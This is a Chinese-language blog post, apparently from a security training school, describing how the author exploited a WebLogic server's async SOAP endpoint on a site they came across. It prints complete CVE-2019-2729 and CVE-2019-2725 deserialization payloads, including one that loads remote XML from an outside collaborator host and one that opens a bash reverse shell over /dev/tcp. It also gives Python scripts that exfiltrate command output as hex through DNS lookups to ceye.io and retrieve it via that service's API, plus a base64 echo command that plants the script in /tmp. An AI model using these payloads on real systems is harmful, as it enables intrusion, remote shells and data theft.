一次weblogic命令执行利用dnslog进行利用-网盾网络安全培训学校

一次weblogic命令执行利用dnslog进行利用

遇到一个weblogic站点：

访问常见的几个路径看是否存在：

/console/login/LoginForm.jsp
/uddiexplorer/SearchPublicRegistries.jsp
/wls-wsat/CoordinatorPortType
/_async/AsyncResponseService

运气爆棚，刚好存在/_async/AsyncResponseService这个路径：

拿出shack2大神的weblogic RCE工具验证一波：

工具没打成功，猜测可能是被waf拦截。好奇的用自己收集的payload一个一个试，没想到成功执行了一个能获取dnslog记录的payload:

soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">  soapenv:Header> wsa:Action>xx/wsa:Action>wsa:RelatesTo>xx/wsa:RelatesTo>work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">java>class>string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext/string>void>string>http://zdg537uqx2an3qcx104ez2ak6bc10q.burpcollaborator.net/string>/void>/class>/java>  /work:WorkContext>  /soapenv:Header>  soapenv:Body>   asy:onAsyncDelivery/>  /soapenv:Body>/soapenv:Envelope>

这个是2729的payload，于是就用相应命令执行的payload来执行命令，结果失败了。有大神指点说可以用2725的payload来打：

于是找了去年HW放出来的2725的payload:

soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> soapenv:Header> wsa:Action>xx/wsa:Action> wsa:RelatesTo>xx/wsa:RelatesTo> work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> void class="java.lang.ProcessBuilder"> array class="java.lang.String" length="3"> void index="0"> string>/bin/bash/string> /void> void index="1"> string>-c/string> /void> void index="2"> string>bash -i  /dev/tcp/ip/port 01/string> /void> /array> void method="start"/>/void> /work:WorkContext> /soapenv:Header> soapenv:Body> asy:onAsyncDelivery/> /soapenv:Body>/soapenv:Envelope>

但是又出现了新的问题，这是一段不能回显命令结果的payload，无奈我又去请教大神，大神给了我思路，可以通过dnslog来获取结果，并且把脚本也给了我：

p.py：

import os
import sys
import subprocess

def exp(cmd, id):
    p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
    p.wait()
    pipe = p.stdout
    i = 100
    while True:
        result = pipe.read(30)
        if not result: break
        os.popen('wget --no-dns-cache --tries=1 -T 1 --output-document=/dev/null %s.%s.%s.xxx.ceye.io' % (id, i, result.encode('hex')))
        i += 1

exp(sys.argv[1], sys.argv[2])

result.py：

import requests
import sys
from requests.exceptions import RequestException
from requests.packages.urllib3.exceptions import InsecureRequestWarning

dnslog_exec = u"i2kuwq.ceye.io"
dnslog_exec_api = u"http://api.ceye.io/v1/records?token=xxxxxxxxxx1ae18f473ef27d0a&type=dns&filter={0}"

req = requests.get(dnslog_exec_api.format(sys.argv[1]), timeout=30)
rsp = req.json()
if rsp[u"data"]:
    exec_result = list(set([rsp[u"data"][i][u"name"] for i in xrange(len(rsp[u'data']))]))
    exec_result.sort()
    print (u"".join(map(lambda n: n[4 + 5: -1 - len(dnslog_exec)], exec_result)).decode("hex")).strip()
else:
    print u"No output."

思路如下：

1、利用echo命令将p.py写入到tmp目录下，然后利用python执行代码，通过python脚本执行命令然后将命令结果hex编码请求到dnslog中。

2、本地执行result.py脚本调用ceyeAPI获取dnslog记录，并hex解码获取结果内容。

写文件:

touch /tmp/pp.py && echo aW1wb3J0IG9zCmltcG9ydCBzeXMKaW1wb3J0IHN1YnByb2Nlc3MKCmRlZiBleHAoY21kLCBpZCk6CiAgICBwID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwc**jZXNzLlBJUEUpCiAgICBwLndhaXQoKQogICAgcGlwZSA9IHAuc3Rkb3V0CiAgICBpID0gMTAwCiAgICB3aGlsZSBUcnVlOgogICAgICAgIHJlc3VsdCA9IHBpcGUucmVhZCgzMCkKICAgICAgICBpZiBub3QgcmVzdWx0OiBicmVhawogICAgICAgIG9zLnBvcGVuKCd3Z2V0IC0tbm8tZG5zLWNhY2hlIC0tdHJpZXM9MSAtVCAxIC0tb3V0cHV0LWRvY3VtZW50PS9kZXYvbnVsbCAlcy4lcy4lcy4wYWN5ZncuY2V5ZS5pbycgJSAoaWQsIGksIHJlc3VsdC5lbmNvZGUoJ2hleCcpKSkKICAgICAgICBpICs9IDEKCmV4cChzeXMuYXJndlsxXSwgc3lzLmFyZ3ZbMl0pCg== | base64 -d >/tmp/pp.py